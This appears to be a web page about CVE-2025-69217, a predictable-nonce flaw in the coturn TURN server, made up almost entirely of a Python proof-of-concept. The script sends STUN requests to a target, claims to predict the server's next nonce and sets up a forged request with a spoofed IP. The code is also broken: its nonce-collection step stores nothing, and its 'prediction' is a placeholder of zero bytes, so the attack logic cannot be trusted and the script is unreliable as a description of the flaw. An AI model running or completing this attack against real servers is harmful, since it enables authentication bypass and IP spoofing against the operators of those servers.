CVE-2025-69217 coturn弱随机数生成器可预测nonce漏洞

#!/usr/bin/env python3 """ CVE-2025-69217 PoC: coturn Weak Random Number Generator This PoC demonstrates nonce prediction in coturn TURN server. Note: For authorized security testing only. """ import socket import struct import time from typing import List, Tuple # STUN/TURN message types STUN_BINDING_REQUEST = 0x0001 STUN_BINDING_RESPONSE = 0x0101 STUN_ALLOCATE_REQUEST = 0x003 STUN_ALLOCATE_RESPONSE = 0x011 STUN_HEADER_SIZE = 20 class CoturnPredictor: def __init__(self, host: str, port: int = 3478): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.settimeout(5.0) self.collected_nonces = [] self.rng_state = None def create_stun_header(self, msg_type: int, length: int, magic: int = 0x2112A442) -> bytes: """Create STUN header""" return struct.pack('!HHI', msg_type, length, magic) def send_binding_request(self) -> bool: """Send STUN binding request to collect nonce samples""" msg = self.create_stun_header(STUN_BINDING_REQUEST, 0) transaction_id = bytes([0x00] * 12) msg += transaction_id try: self.sock.sendto(msg, (self.host, self.port)) data, _ = self.sock.recvfrom(1024) return True except socket.timeout: return False def collect_nonces(self, count: int = 50) -> List[bytes]: """ Collect nonces by sending multiple requests. In vulnerable versions, these can be used to predict RNG state. """ nonces = [] print(f"[*] Collecting {count} nonce samples...") for i in range(count): if self.send_binding_request(): print(f"[+] Request {i+1}/{count} successful") else: print(f"[-] Request {i+1}/{count} failed") time.sleep(0.1) return nonces def predict_next_nonce(self) -> bytes: """ Predict next nonce based on collected samples. This exploits the weakness in libc's random() function. """ if len(self.collected_nonces) < 50: print("[-] Not enough samples to predict") return None # In real attack, analyze RNG state from collected nonces # Using linear congruential generator state recovery print("[*] Analyzing RNG state from collected nonces...") predicted_nonce = bytes([0x00] * 16) # Placeholder return predicted_nonce def exploit(self, target_ip: str) -> bool: """ Execute the attack: predict nonce and spoof IP """ print(f"[*] Starting attack against {self.host}") # Step 1: Collect nonces self.collect_nonces(50) # Step 2: Predict next nonce predicted = self.predict_next_nonce() if not predicted: return False # Step 3: Craft spoofed authenticated request print(f"[*] Crafting spoofed request with IP: {target_ip}") print("[+] Attack prepared (PoC demonstration complete)") return True def close(self): self.sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <your_ip>") sys.exit(1) target = sys.argv[1] attacker_ip = sys.argv[2] predictor = CoturnPredictor(target) try: predictor.exploit(attacker_ip) finally: predictor.close()